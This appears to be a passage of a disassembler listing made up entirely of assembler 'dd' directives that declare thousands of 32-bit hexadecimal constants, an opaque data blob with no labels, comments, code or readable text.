		dd 1D40CCA9h, 586D6B59h, 782A4B07h, 89EFBA45h, 224400EBh
		dd 5835B394h, 0C787901Dh, 20232978h, 0E682C820h, 0A0A7DC90h
		dd 3A5B38h, 0DA842350h,	73452BBh, 0D71558BFh, 0E2AEE092h
		dd 594C8187h, 5F78806Ch, 7DC4B739h, 34D7007Eh, 2C5323E3h
		dd 2828B2E4h, 7922BC67h, 36100CADh, 0FC91C424h,	142C814Ah
		dd 5DD8A078h, 30CE2C77h, 82440FCh, 0A606ADD3h, 414D54FCh
		dd 72BF0331h, 2DDA4887h, 848957E0h, 8C8DE000h, 52FCC32Ch
		dd 29C00044h, 0C660116Ah, 0AF06F815h, 1CD60D5Dh, 0E0F4C9h
		dd 29EF9D7h, 1E18B58Fh,	0AB559100h, 0E8164862h,	5A200469h
		dd 851BAC76h, 0B33832ABh, 2127A19h, 0A0B37D04h,	4B57620Eh
		dd 783E414h, 210024FCh,	780DA6D5h, 0B49E83F9h, 0F9411E4h
		dd 40E41ADCh, 0AB5D3C40h, 4F45004Dh, 6E2A5F46h,	5B16EB43h
		dd 4420FCA1h, 2FE8E1B2h, 0D890554Ah, 0B504055Bh, 0C5DCD478h
		dd 3814FC88h, 4C013196h, 6D3675FEh, 476E20ADh, 2F001A7Ch
		dd 0EC9023C5h, 7CDA3AFh, 0A53B1827h, 0DFFC005Ah, 0AA008BE6h
		dd 0C684923Eh, 72960B37h, 0A94F0034h, 0CE3ABF29h, 9325DF07h
		dd 26C4875h, 9C149584h,	0CE421500h, 4441D9E8h, 0A2AD3EDAh
		dd 2D75A700h, 6F18867Ch, 0D877E53Ch, 8F7E001Ch,	0C77B9B35h
		dd 2AE075h, 6DA6C0D7h, 0F6B06825h, 0A40017ECh, 79A20E7Dh
		dd 26235393h, 12BCE807h, 80FCB2AEh, 0DCBB9B2Bh,	0F7DB0116h
		dd 0FA47A577h, 0ACD7D4F2h, 72AFD200h, 1AEB5A7h,	7BB4A4BBh
		dd 4020BE98h, 0C343D2A4h, 0F0473D1Ch, 800AE3CBh, 762AF1A4h
		dd 92561368h, 97853AFh,	6468EC74h, 22F7FC0Bh, 0B9007F28h
		dd 6D77742Bh, 1B38CE3h,	0B6624A70h, 7D57BFACh, 0DA0B0780h
		dd 21BC7D52h, 40A58DCh,	2E8287C0h, 57002335h, 0B9FBB5B4h
		dd 12D0B1BCh, 900A09DDh, 5E5A40ACh, 0A527A3E8h,	3F54A0C5h
		dd 9BE7D2h, 2BEF8C67h, 0B884E877h, 5000F899h, 0ECC037A0h
		dd 256A048Ch, 0E453A9CCh, 17004FE8h, 2E5AD13Eh,	127D86F9h
		dd 93B0AF32h, 49DEC2BCh, 0AA8D6D00h, 0BEF76E15h, 241114EDh
		dd 0B0014E1h, 0A0C66980h, 85073D81h, 72A958BBh,	0E7D7AED0h
		dd 1CF10275h, 59509831h, 0BABD8CA0h, 7948F096h,	0D3BBB1D4h
		dd 8148C71Ch, 47BF0430h, 80A49620h, 90C954D2h, 772C134Ah
		dd 0B33CCCABh, 4244BE48h, 0C02200E0h, 0A7810475h, 0F54C13B4h
		dd 0AE4C41D4h, 22C5E80Dh, 41C10034h, 24076AD9h,	551539EFh
		dd 0AD1250BDh, 0FC78024Fh, 0ACC6853Eh, 0A99540F0h, 3CFC44C0h
		dd 0B8707EC1h, 859490A3h, 84E8AD0h, 76AD007Ch, 183754F3h
		dd 73419496h, 0C0221D36h, 0FE01AF00h, 0A2E551D2h, 0BEFC425Eh
		dd 0A9FB1703h, 7E2825DDh, 240478EFh, 0AEADD235h, 0AC88C4D5h
		dd 0F8571D0Fh, 37044016h, 0A1744F94h, 0D2B3E850h, 1715280Ch
		dd 4070E9A2h, 0D13B75B2h, 0ABBD0420h, 30B85193h, 0CC00118Bh
		dd 0E661B009h, 0D150F4A3h, 117A598h, 0A008BCC6h, 0D43A803Bh
		dd 0A4AACCD0h, 985ACB00h, 53F3BD35h, 0E910443h,	84BBEC80h
		dd 0CD6CC0D4h, 0F2544061h, 0BC17CF80h, 840A34Ch, 0A0CE5123h
		dd 2E342C3Fh, 270B0358h, 303647B8h, 939C635h, 548705C7h
		dd 0DC5CE412h, 0D7E42E40h, 6C500038h, 8227CC29h, 0E60CA82Fh
		dd 0C0A202AFh, 2BB101E7h, 7C6694A9h, 48AEF831h,	7663FC09h
		dd 37628179h, 943D4F4Dh, 0F38E2D00h, 6504B04Bh,	0E1A03Ch
		dd 0F1FF55F9h, 4BBE05C5h, 6B0CD059h, 0ED005B3Bh, 5E45272Ah
		dd 48A5B52Ch, 0D40934A0h, 80792BF8h, 0DE9D0D40h, 343600C5h
		dd 9F0BA43Eh, 3502BB10h, 0A5B0A81Ah, 0E6CC40D1h, 69A96359h
		dd 6472FDA0h, 1BD5E203h, 988174BBh, 0C1A3092Ch,	56FC3731h
		dd 60B875B4h, 0B9FB48h,	342019C4h, 0A40C2D51h, 210BC7CCh
		dd 3EAFEA3Eh, 2A828BDFh, 0A7560D12h, 6C407874h,	0C4B36Eh
		dd 72BA73E2h, 4F904BD3h, 2CBCA470h, 940BE41Eh, 58C8C031h
		dd 0B4AB00CDh, 4E3EE3A4h, 595EE0BAh, 0BC2B3040h, 59F8437h
		dd 0E17A14F8h, 2ABCB1BEh, 55E0B427h, 91AC18h, 0BA1624D1h
		dd 0D9156920h, 0F8F97E0Ch, 3E3099h, 9F230EF1h, 58EFA694h
		dd 0A03FA300h, 30C8B084h, 0BD0C3049h, 0D84F9718h, 0CBC6D300h
		dd 0ACD00496h, 6A3D00A7h, 0F3607C5Ch, 840048B0h, 5722781Fh
		dd 9A79AE7Fh, 48A0B878h, 0E504E4ACh, 0C82DE7AFh, 0D70B077Ch
		dd 18605B82h, 337F10h, 0D840E08Ch, 0A44EAC0Eh, 0CF4040BBh
		dd 768D7Ah, 25156454h, 0FF86C3DCh, 217BC01h, 6AC5729Eh
		dd 0A9C8200Dh, 90E069C9h, 0E97844h, 8523083Ch, 3494D0EEh
		dd 70D0D74Bh, 0CB13D1h,	21DDFEBFh, 0A407DB1h, 0D8C8AF4Fh
		dd 5C1F0055h, 14029BF3h, 0AD02D077h, 17D14D3Eh,	9FC07839h
		dd 0B8CE08A0h, 8AB34A1h, 0AAACBCD0h, 7B3D371Ch,	90BA1FC9h
		dd 48A5B2E8h, 9D34FBh
		dd 3648ADB9h, 0AC502010h, 4C024160h, 229CB2CAh,	0E39060A4h
		dd 764900E2h, 0B9577434h, 0C3001F32h, 70A69992h, 244CE40h
		dd 11E79829h, 7CC633E6h, 4D832600h, 64DBE1D9h, 7FFC00CBh
		dd 18B881C4h, 90B933B0h, 4E214A40h, 169501ECh, 2B473B10h
		dd 0C00C2C85h, 1B7492AAh, 86DC068Ch, 88D84411h,	3E00C4F0h
		dd 0D6A79AFh, 0E1DF7ABFh, 2FE0FAE8h, 80307293h,	0CE7C4138h
		dd 0A4C80D1Eh, 35C55285h, 4FB324E0h, 0FE4C48B1h, 80791B89h
		dd 9C68826Ah, 676D0334h, 98D57DB2h, 57BE0190h, 0B8AAF000h
		dd 0F7ACEC3h, 0F11904F8h, 0E2A3EDCFh, 0C4721C98h, 0AB626600h
		dd 7C539AC6h, 0C0549EA6h, 713FE589h, 3156C01h, 57F45C88h
		dd 5C49D3D4h, 0B5029782h, 0A6A15137h, 0A4901C6Ch, 383D5090h
		dd 253B80A8h, 6EE08BEEh, 9DFE0F4Bh, 2FC0FAACh, 0C747BA83h
		dd 63092E00h, 14C9748Ah, 8BCE0094h, 60443FB6h, 5C13869Dh
		dd 0E7186BA4h, 0E56928h, 5BD52BDEh, 0AC7656F7h,	8A618E03h
		dd 0A465602Fh, 8029C307h, 59C1829Fh, 926E8E03h,	90EFDE86h
		dd 0F28DAB3Ah, 0D7A300B4h, 9F35AFE3h, 3381A7Fh,	0B3189877h
		dd 184CA951h, 11BA3424h, 220BE563h, 4A14037h, 76C37DF1h
		dd 367E3CCh, 0EB2BAB79h, 70B89005h, 3A00B08Eh, 9DD648F4h
		dd 0E8E484h, 0E5445638h, 99DD0D63h, 34676C00h, 16906E24h
		dd 21234C4Eh, 0A804FE03h, 90100D3Ch, 5017630Ah,	46B30131h
		dd 0F48B5943h, 9E00344Ch, 6BCEA56Fh, 6FE191A9h,	0D83319Ch
		dd 98298B9Fh, 7000A06Ah, 19D512E0h, 0E3473E6Dh,	14319830h
		dd 3E00901Bh, 9E68B120h, 0FF8BD0h, 775D4BB0h, 4114811Dh
		dd 63C92514h, 115060A7h, 17DCC7Ah, 5A33A620h, 0C45D7935h
		dd 0D3FAD690h, 60B24400h, 0CC4932DEh, 97F2011Fh, 993573Eh
		dd 454415Ah, 90519D8Bh,	8402D92h, 868ABCFh, 0C2FF0171h
		dd 0F0B750A0h, 771824FEh, 0D8C1752h, 19C67B5Dh,	414ADDE0h
		dd 9862E06Ch, 4EC91502h, 0A0E53426h, 0FD0565E4h, 1BB800EFh
		dd 86568158h, 800801Ah,	0FAF76215h, 158336B0h, 9C8512B1h
		dd 93DD8600h, 0B67A578Bh, 0AA5EC1Ch, 0D4433640h, 0C4CD29h
		dd 0C5E3C33Bh, 0CA6CC0DAh, 4EF7330Ah, 4805476h,	1CD3D91Dh
		dd 649C0660h, 0F9415361h, 0A941811h, 97ECBE00h,	193C11EAh
		dd 93543090h, 0BD005D90h, 0A7E92B6h, 0C25795h, 6ED6C584h
		dd 0E463B765h, 62F8014h, 7D8A22B0h, 66F9C034h, 3D2A0E99h
		dd 1C20458h, 8DD0AC43h,	0D7DCD9C6h, 1428C0E6h, 6B0590C3h
		dd 31F22C00h, 44DC5B0h,	2E58042Ah, 886371F0h, 0DC033EB4h
		dd 6B42B67Ch, 0DB948055h, 0C8E83D43h, 20791002h, 0CF60185Ah
		dd 51D994Eh, 610CDEB5h,	1F7D19Ch, 0B36FF1ECh, 0FDFE472Dh
		dd 1E80405Bh, 3851CEC4h, 82BB4014h, 0A5130C3Bh,	18FE58C1h
		dd 0D3CB28AFh, 277AB00h, 7C4E146Eh, 0A2483E5Fh,	153F08D0h
		dd 0E49D6BA7h, 8FD0E01Ch, 0D120A93Dh, 0BBEEC511h, 9E1D9214h
		dd 893886C0h, 49BF0079h, 0ECEA06DFh, 430073C8h,	1D055754h
		dd 0A0CCCFD1h, 0A88D34E4h, 0A668B0h, 0EAE29313h, 0B26FD73h
		dd 1D208F12h, 0D10F4816h, 20222990h, 0F5513354h, 54F20140h
		dd 359DB3ADh, 433824AEh, 0B206C98h, 0B728C163h,	0C8223E69h
		dd 0AE0072CCh, 96A291E5h, 75E3D05h, 7A8E4F74h, 599A60A4h
		dd 4006E7Fh, 0EA65D714h, 70777Bh, 8506C056h, 480B73EDh
		dd 520028EAh, 7C14F23Ah, 475E5ACh, 499B83A3h, 5DD4C0FDh
		dd 3C0085F8h, 0D18E1D06h, 0FACEC90Bh, 0A78994Ch, 80AC756Ah
		dd 0BAC44F6Bh, 420030E1h, 86A5B062h, 3CC059h, 0E81C492Fh
		dd 997A80AAh, 9F0BB718h, 501B7739h, 21F740Ah, 65B43BD1h
		dd 0E1E29E9Ch, 1E460C44h, 0C92E6100h, 5B754146h, 1AB3C201h
		dd 0CC4FB77Bh, 4C43CBDBh, 7AC01C19h, 7EBF8185h,	80B7E93Bh
		dd 6E43CE35h, 44379E2Ah, 2553C662h, 0F65807E8h,	0E001F148h
		dd 0FDD85D37h, 432500B6h, 0B31489F8h, 9B000595h, 7D4E6116h
		dd 3E4044DCh, 18FFB22Eh, 0C18A6028h, 0ED019DD8h, 48410E19h
		dd 0E0E8BDC6h, 64E8C9F4h, 348B8E81h, 0B7980B4h,	484CF94h
		dd 3C091B74h, 0B1C928B6h, 63519E18h, 56FBE2C0h,	245B1A35h
		dd 0D81D76h, 6C33277Bh,	4C0F98C7h, 675182BFh, 53967901h
		dd 5B740911h, 1090BC40h, 5D0FBB19h, 0A41D8178h,	71C02BF4h
		dd 69325Fh, 72B74E06h, 2CDB1C2Dh, 0D0268F24h, 943BB68Ah
		dd 404EF347h, 873A43D3h, 0D6FB0156h, 74A84A99h,	0CB19D76h
		dd 26221440h, 70C610E1h, 0FD581888h, 0D8502161h, 0F79F0600h
		dd 0C3D3C087h, 164E12B1h, 9F013CDh, 9C10336Ch, 6CB23C60h
		dd 0AC3F4301h, 3BB587C9h, 3500DC62h, 0C4F6385h,	6976F6BBh
		dd 0BC393100h, 0ECFFC4D3h, 0F4E6503Ch, 0D66C401Fh, 3CA2C00h
		dd 7B239DD1h, 1418C18Ch, 0D27795BBh, 2407E066h,	0B6894D1Ch
		dd 30BB98Ch, 7A0AB535h,	8BE7F7Bh, 2EF0B0C4h, 0F9F6AC40h
		dd 0A54C7333h, 74907120h, 1B4CD7F2h, 0CA280920h, 78840676h
		dd 0F6B62C91h, 0C992403Ch, 71C1709Fh, 0E4E38062h, 695BD030h
		dd 0FC82F1B6h, 372544FCh, 0E0A87488h, 0B38400D6h, 0D7E6F230h
		dd 1C008303h, 0D9A3FB7Bh, 0E8DA4072h, 59A205A5h, 81904573h
		dd 416346F0h, 63CE9538h, 3F0E00F8h, 0B7186D9Ch,	0A8831DA0h
		dd 6CF98099h, 2EF4FF96h, 22ABE009h, 35E00167h, 48608710h
		dd 2438036Dh, 99F65DF7h, 0F23BA5C8h, 5400FB98h,	12C4E99Ch
		dd 0AF5BACh, 231324ECh,	726D3404h, 4279E302h, 0E79DCDD4h
		dd 0A4580E68h, 0C76D94C0h, 0E11612F6h, 0B0404FEBh, 1BADD507h
		dd 8BC62E0Eh, 60042698h, 66793BD6h, 0AA5CC31Eh,	2C6880C5h
		dd 0AC327484h, 704C460h, 0E269FA53h, 7A28CC6Fh,	7B410A40h
		dd 5526053Fh, 40181A76h, 0C0EAA9E0h, 9A010E10h,	0CC43DF29h
		dd 0D0509B98h, 4C763F1Ah, 48121C1Fh, 6ADC061Ch,	0CA039977h
		dd 55F6B80Dh, 0F0728839h, 0C0E8034Bh, 90617CDFh, 0F2C39100h
		dd 0B1298AEFh, 6DC11DF1h, 0AF16C040h, 6A3FE21Fh, 91F09C61h
		dd 798E9F04h, 0A0544C9Eh, 97809C88h, 0C18DCB56h, 59CBBCCh
		dd 5268DC90h, 18ED0008h, 8C341344h, 5A0290A8h, 805CB400h
		dd 0E8383560h, 0D7F20104h, 28091DFAh, 9EC440C3h, 79D29D36h
		dd 84D1110Bh, 254086ACh, 9F9A2A5Ch, 0B8E21816h,	0EAAA1000h
		dd 11F54D05h, 8FBDEFh, 2416520Dh, 4835A7h, 4DFC70C3h, 6821A4C2h
		dd 0C5C43F00h, 28D3A8C0h, 1830F285h, 684FF2E1h,	7B018A0Ah
		dd 9E274449h, 81868E42h, 6163BD43h, 0A4FB5B1Fh,	6FBCA080h
		dd 381CED49h, 0BF8051F5h, 358BB204h, 0B97F24C5h, 4EC86402h
		dd 64F791C3h, 0B8E3F54Ch, 25E69F95h, 0C421BD97h, 0CCC4B4DAh
		dd 3172C9B5h, 0F698C202h, 408D133Eh, 0E1A1B89h,	195954FCh
		dd 7C7AD80h, 730011B1h,	8B89862Ah, 980284E7h, 7ABE1FE4h
		dd 887DC08Eh, 59CED4D0h, 91A0CF00h, 6BA80BAFh, 43ACA863h
		dd 0A1F0014h, 0D9789608h, 0A90094D4h, 0A17B5961h, 0EE9ACAF5h
		dd 0EF84A888h, 0E7AA1D19h, 9E1AC27Eh, 2042417Bh, 15FAD069h
		dd 2056C00h, 58716E58h,	852248CDh, 0F738604h, 3C907436h
		dd 800BE90Ah, 1F14CA33h, 628C9455h, 76CA250h, 0B3E02151h
		dd 3514221Ch, 9482910Fh, 3A5C4445h, 7A446043h, 2ECE588h
		dd 782E38A7h, 5360F5F3h, 40008172h, 0D112F2E6h,	1488C9EEh
		dd 740D9E98h, 0CC254300h, 0CD9BA2B1h, 0ADA70100h, 17998BCEh
		dd 441939BDh
		dd 0F57960B0h, 0B9582D92h, 0CE6D016Dh, 3409B62h, 409DEC60h
		dd 8800AF8Bh, 166DD0B2h, 0C3E843h, 5C7BD3ECh, 4EF01BCCh
		dd 36159804h, 40D266CEh, 99CD2077h, 0E87AD5FCh,	4C972502h
		dd 0E054E91Bh, 0C0F0B728h, 0E22A63F1h, 0BC12550Ah, 0BC00EA21h
		dd 77DD3ACFh, 0A4C35418h, 29A405BFh, 211FABC5h,	1192437Ch
		dd 5180606Ah, 0F26BC1DFh, 4AFE8997h, 0FEC820DDh, 33CA862h
		dd 833B96A6h, 0D5B07D5Eh, 0A12C7ECh, 0D05D72F0h, 0B71C909Eh
		dd 0E7CD02Ah, 0BC2AB0A4h, 0C700A061h, 3FDF927Ah, 1E4C111Eh
		dd 0E31F87h, 9D4284BBh,	0F712C5CCh, 0C229755h, 1F602511h
		dd 1EFA405Ch, 4F1F3EC0h, 26008774h, 45772857h, 482C6533h
		dd 384CB408h, 9039818Ch, 3344F051h, 80D538F4h, 96A1449Fh
		dd 0C00701BDh, 0E828CC20h, 11013405h, 377224FBh, 642469E2h
		dd 290F6B09h, 0A3150C90h, 0F9A2FE2Ch, 77DB9A02h, 9C7240DFh
		dd 8CA132AFh, 684086D0h, 43808552h, 2C355871h, 0E225D680h
		dd 380E8CDEh, 6F8D2A9Eh, 0E3032041h, 1C07CC0Ah,	35A3B1F7h
		dd 0F50881D8h, 0B92A1011h, 0BE981935h, 0D817E189h, 9C0086F0h
		dd 4DB536BAh, 15506ADh,	0F804EB96h, 2274DFD3h, 7CD50000h
		dd 2915E8FEh, 8D5E00FBh, 0E043AAD0h, 5D0A6B1Fh,	0C0619952h
		dd 45D81440h, 978A0079h, 0D2C9B7C0h, 0E10093A8h, 6B6EFB54h
		dd 12063142h, 901B7A63h, 90ECA960h, 0E1B1E213h,	0AC70F434h
		dd 8001750Ah, 0AF7D4230h, 97E5E60Ah, 0BD11E485h, 0FC0544Ch
		dd 0D11DF7Ah, 0EEA348C2h, 8BCA0F91h, 0C288084h,	7162AAF6h
		dd 9E2A6C00h, 21AEFA47h, 5B6B37A9h, 77DE0A9h, 884E1E93h
		dd 4D72B827h, 0F47A35h,	6C967E6Fh, 13C0ECDDh, 0A3BDB500h
		dd 0F9AF9DD3h, 20F0A641h, 901475AAh, 12861F7h, 761D6B8Bh
		dd 10702681h, 91E09021h, 0DCBA002Ch, 5E4D0BB6h,	3A3E9300h
		dd 0C3CFC51Bh, 0C2F72ACAh, 0C7F0A184h, 34646011h, 0B2587B08h
		dd 507D0026h, 25CBF069h, 1F7C9Eh, 0EF158BF4h, 0C237E1D3h
		dd 2238894Dh, 0D7E79h, 7C0BE860h, 0B0151238h, 9927B300h
		dd 92FDFC56h, 945B0063h, 61795E1Fh, 720C7B89h, 9832B709h
		dd 4D4486DAh, 1458B6h, 0B437E3C7h, 96DA5D55h, 759406F1h
		dd 24430AC1h, 80B49FC8h, 0D197BD06h, 786174A0h,	0D2AE9249h
		dd 3939E3C0h, 0F380DDA6h, 0A4441C4Ah, 0EC4A3212h, 7334F420h
		dd 516700E3h, 464335E1h, 0CB009C0Fh, 4E17E93Ch,	90262F44h
		dd 32550175h, 53E49718h, 3CB03099h, 0B6205CA4h,	764C0774h
		dd 8CFD0726h, 24007B21h, 0AFEC486Ch, 0F8DD9B6h,	0C785290Fh
		dd 99C597E7h, 63DBF880h, 0BF00C2BDh, 1129EC05h,	3084A71h
		dd 0B1CECDD0h, 38A2DFDAh, 67FAC0E4h, 0C9988600h, 5F8724F7h
		dd 9AC3B758h, 0AE8CD2BCh, 604FB896h, 31478842h,	246DC096h
		dd 91163E88h, 5DF4204Fh, 7400338Eh, 0D35E4F7Ch,	14031D4h
		dd 0E3AD8B07h, 0F49F7A1Fh, 420E5299h, 0E1F3AF34h, 748BB926h
		dd 53A95285h, 2C6CC8ECh, 0BC4EF612h, 67BB6090h,	535400C8h
		dd 0CF3C515Bh, 250EF235h, 428B9027h, 8443ABD1h,	21324BB8h
		dd 0E7E8182Bh, 4CE500A3h, 0BB3FBE0Bh, 7600B5EDh, 0AD656BD9h
		dd 9EAA841h, 369F945Eh,	0F66FD0C8h, 0BFEE1F16h,	10614409h
		dd 3A9D68Ch, 464957B0h,	0DFE83494h, 7407828Bh, 16DE975Ah
		dd 1AE1C827h, 0E3F04962h, 84A90090h, 2E2C4AC7h,	734D6D40h
		dd 10B8CE2Ch, 9B72CF1Eh, 0D1C3C106h, 9600C8DDh,	10BA8200h
		dd 31D608CAh, 0E224042Dh, 80612E37h, 95806828h,	0C66FF1C2h
		dd 0AD007766h, 7A5AAE05h, 8C23A41Ch, 0CF46874Fh, 50D840F2h
		dd 6585DE9Dh, 200B7856h, 0E3B1CF98h, 0BD13A899h, 0BA37E090h
		dd 0CFCD0057h, 1EAE0195h, 1205440Ch, 0A0DAE26Dh, 24050BFFh
		dd 29F7C487h, 9DB2C19h,	177BE839h, 945F143h, 0A1094C28h
		dd 89537000h, 0C4002380h, 35B7B8A7h, 988FC9F6h,	9A1CA884h
		dd 616B24B5h, 99FF4070h, 73036FA8h, 0EBD1495h, 437C0A52h
		dd 87ACF10Fh, 2998202Fh, 81766306h, 0EE054375h,	0CF254259h
		dd 2300ACE2h, 0B1AE03DDh, 2E00BF45h, 9D93E86Fh,	5C4CE56h
		dd 5F63CD2Ch, 259032B7h, 0CDEA449h, 98588ADAh, 0AC9844h
		dd 5D9CD556h, 64299B7Ah, 0B5F63B0Bh, 154CA29Dh,	800873B9h
		dd 12EE0E4Fh, 0F2073BE7h, 98876223h, 205A7D0h, 856102CFh
		dd 12C00832h, 8BF5DC82h, 0FB267721h, 618E8C3Ch,	7E978100h
		dd 43005931h, 0EA46FE07h, 22C5D05h, 0B1D3CD3Bh,	0FC917B17h
		dd 955E109Dh, 0AC0B0019h, 0B4E92557h, 0E7FE6D91h, 82DB801h
		dd 988DD223h, 88BCA860h, 51DE243h, 1F045551h, 0B8B08E36h
		dd 204024Ch, 8745B0E7h,	0CC4CDCCEh, 9DF44870h, 7715E0Bh
		dd 2882CE0h, 0B6F7CB64h, 62EFB499h, 85EB805Ch, 0FE03EADDh
		dd 517400F7h, 0E1543990h, 0C113D8A9h, 0C4046C8Bh, 9105690Eh
		dd 48304405h, 0E024F1A2h, 0A02D6640h, 1920A36Bh, 1EA1C0A9h
		dd 8EF8A16Eh, 0B689CB0Ch, 2A54DADAh, 1A067BDh, 4C801693h
		dd 0F1E9D61Eh, 42D52014h, 6620E090h, 0D46B5259h, 6801993Dh
		dd 7A115F9Eh, 0C9F8F351h, 9499B326h, 254DCE85h,	68C1D0C0h
		dd 0BA90C8CDh, 0A9427064h, 28EBB01Eh, 35108F92h, 6AB4A921h
		dd 0AA0F8C69h, 36206574h, 359C9754h, 0C72832F0h, 8E229868h
		dd 0B80A5861h, 9919FCEh, 1AF23AC6h, 0E4488BB8h,	988C0068h
		dd 0DB60D6D9h, 0E33D3EC3h, 9E190618h, 0A585163h, 7A1B776Ch
		dd 530A42A4h, 0E616822Fh, 0D85361h, 0F9B0FFEFh,	303A0A25h
		dd 34FC3044h, 4842924Eh, 0CF104CCBh, 929788D3h,	0BA4804C6h
		dd 12B705B2h, 4C210E2h,	0B898B227h, 762F4F26h, 0F7201015h
		dd 60CCC9B1h, 2CCE9C48h, 0E51549C5h, 0AF0598A2h, 5D666028h
		dd 2C9BC094h, 0E5DBF446h, 0C00775ECh, 309AF6BCh, 8256C1B0h
		dd 437C0213h, 0B3AEF00Ah, 0B6048459h, 10B36CC2h, 0E2D9007Dh
		dd 8446EFEBh, 1A90CB6Bh, 10947F48h, 1E88E44Ah, 91F5D81h
		dd 0F46CE7CCh, 111CA02Ch, 3CA73D62h, 5D5A9F9Bh,	7EC47A5Dh
		dd 6488BC43h, 722E0C8h,	10F596Ah, 0AAA630C4h, 4E24CC79h
		dd 9C6ADCA2h, 197A6404h, 8A9F9CA8h, 66C8CB08h, 4325312Eh
		dd 0FF30A0BDh, 42614h, 3728AD5Fh, 74A81A67h, 0E4A7AE02h
		dd 18BE5BD7h, 0E200BDBBh, 0EA306443h, 286D382h,	2FA1AEA0h
		dd 2862B8F1h, 402069h, 0F89D8799h, 0A62E016Ah, 0DF184668h
		dd 221C721Bh, 0AF77153Eh, 0EC40B084h, 1A0CA098h, 1712E907h
		dd 0E1AD7881h, 2865ED37h, 7642A148h, 3098670Ch,	0B8899300h
		dd 52390581h, 4BED3C58h, 8D2A9A80h, 1042241h, 0BC5A9105h
		dd 5C84236Dh, 0C00BBCE0h, 0A6C98A71h, 37483543h, 0CD8980B0h
		dd 122B7h, 0C7FD1234h, 73D15BC1h, 4F5490BAh, 50993B74h
		dd 83DB1443h, 4AFBC811h, 945A0C2Ah, 96D8E816h, 9CFC5144h
		dd 71D05374h, 92C21F2h,	7301B824h, 499233BDh, 0EC9EECh
		dd 66F8951h, 0AE41CA88h, 4781200h, 0B7809F59h, 0E00A6B09h
		dd 0B46C0CCh, 86D3E450h, 5C88534Ah, 80B754ADh, 90EC3DBFh
		dd 4D1D7A01h, 321EB1CDh, 342A0820h, 0BBE98FB8h,	77EE7FA0h
		dd 481EA042h, 2217C27Dh, 19E59800h, 920E3EAh, 84091DA9h
		dd 92CFF023h, 285925E2h, 69A6E360h, 4E040109h, 92EE6DF2h
		dd 0A3B990B0h, 0E4A85BC8h, 0E020634Bh, 0F26B9CDh, 273F58AEh
		dd 0ECA2534Bh, 3827703Ah, 4271B590h, 0D6F9079Fh, 7003AC3Ch
		dd 0ECB7EA7Eh, 88C6C500h
		dd 0F62D9389h, 0E832954Eh, 32DFBC84h, 0E2902136h, 0B2341146h
		dd 4243D980h, 7557BC7Dh, 945BE900h, 0AD1FEA4Ch,	245E2EFCh
		dd 4D412CEh, 0B8AEE0Ch,	4CB49C64h, 304CD436h, 0B06FC4A0h
		dd 62A82900h, 0E7ADBB70h, 647499C2h, 9E6C906Ah,	49D78943h
		dd 0E856C080h, 21B8BA66h, 1B10E492h, 0DE6FE380h, 4F12F134h
		dd 141D4BE2h, 50138829h, 0B17C8004h, 32C06414h,	0C69A8335h
		dd 48B4D45Ch, 0AC41965Ch, 16F7CA28h, 22483852h,	46EF0B6h
		dd 73425Fh, 9231D0FEh, 399F0417h, 0AC273685h, 6239BFh
		dd 2E046FD2h, 0B50FAh, 759AD4FBh, 0CC6D7B58h, 84F6B119h
		dd 0A0E02A49h, 30B974h,	4C5B6801h, 230042FFh, 0DDABD834h
		dd 13976D5Dh, 80EEC62h,	0DABA6C40h, 2DC33802h, 0B4A12492h
		dd 1D22B13Ch, 10A128Bh,	488404ABh, 154404A8h, 0DEC01414h
		dd 8C04BD39h, 0BEB35700h, 0A664CDA3h, 0C522072Eh, 1B7CCAB2h
		dd 6F40F0ECh, 9911CE66h, 0A54894E0h, 70002C75h,	9F8CD92Dh
		dd 0B3ED9Ch, 0DA6625DDh, 3B0828FBh, 9C60D148h, 45E30861h
		dd 140B344h, 5C122367h,	3B791500h, 0F6F0D4F8h, 0F4A6097Ch
		dd 0D080A58Ah, 4E66461Fh, 0E66340B4h, 9D26884Ah, 0FB7EB1h
		dd 4F4CF931h, 672950C7h, 0A0C0255Ch, 53377371h,	8122A86Bh
		dd 0E440344Ah, 0D179FF88h, 3D1C003Ah, 0C711D332h, 0DC3E1E13h
		dd 1050585Dh, 26264259h, 5D60008h, 0A270D011h, 28D4A197h
		dd 1AF0C2CDh, 0E4530B4Fh, 9C04A90Dh, 6E14061h, 9C3980h
		dd 193C3DB3h, 0CE9B1F56h, 4C91AB3Fh, 90348B38h,	7D4504h
		dd 0A3C4D66Eh, 664ADD06h, 0E5BC3200h, 0A6F194ECh, 0AC0C07A4h
		dd 709B5302h, 0D48FBD26h, 298A0748h, 5991C803h,	0F01F9A02h
		dd 0E4448CC2h, 0B2077F4h, 97304A63h, 99C9CFA8h,	91371451h
		dd 34811CC4h, 0B830672Ch, 0E3E80228h, 0C77AA806h, 402EBC98h
		dd 0B40CF389h, 8788F8Ah, 0D06A1786h, 0E6D97050h, 20C45301h
		dd 0FE7AEE24h, 8C69BC41h, 0E2561510h, 98866828h, 2C460924h
		dd 1C5D2B50h, 4E4D9045h, 1A408639h, 733B70D5h, 540B7F0Eh
		dd 9025CB29h, 95F82010h, 90CB6018h, 0D18E4C1Eh,	0A2541E00h
		dd 7B9E4170h, 0E8B300D3h, 8638C537h, 0C1C40BB1h, 74D21363h
		dd 1176199Ah, 202BE1B6h, 8B9E1BDCh, 0A45C664Ah,	60271AD1h
		dd 1C2D9420h, 3D00AC04h, 0E6DC9B0Eh, 0A06B1A9Ah, 8822F0BCh
		dd 38099835h, 455506E2h, 5B491E8h, 0AE0731EEh, 0D2677491h
		dd 6A897A08h, 3B07B469h, 506CC019h, 9F565511h, 0AA3ADB00h
		dd 0EF8C33F1h, 2678B021h, 0E09C505Ah, 0E04FC30Fh, 5C8FDE02h
		dd 0E41E77CAh, 0ECB62978h, 0D0BD13F0h, 0B75B557Ch, 3156140Bh
		dd 122C4E52h, 88B91876h, 4801C7CCh, 107EC346h, 94704CE0h
		dd 211A420Bh, 1621123h,	0B39F4CFAh, 0CFD03854h,	68F50530h
		dd 0A00E1FF6h, 1D2FB714h, 8BA01062h, 457301CAh,	356CECB8h
		dd 0ADAC500Ah, 83043B2Ch, 0AC8AD54Bh, 950B00ABh, 96ABA3AFh
		dd 0D8C58900h, 5E812CCh, 0BB441E5Ah, 0C42354E3h, 8043312h
		dd 53649BC4h, 6D67A15Eh, 81683809h, 0A1C200A7h,	6B8C65ADh
		dd 0DD001B9Ah, 0F0ACB328h, 0C27496Ch, 0BC1A1FE2h, 244E0548h
		dd 0B1374028h, 34600008h, 2497690Dh, 0E7708900h, 5578B0E0h
		dd 3BF90210h, 0D2643516h, 0D02F1848h, 90264484h, 0BC4BF024h
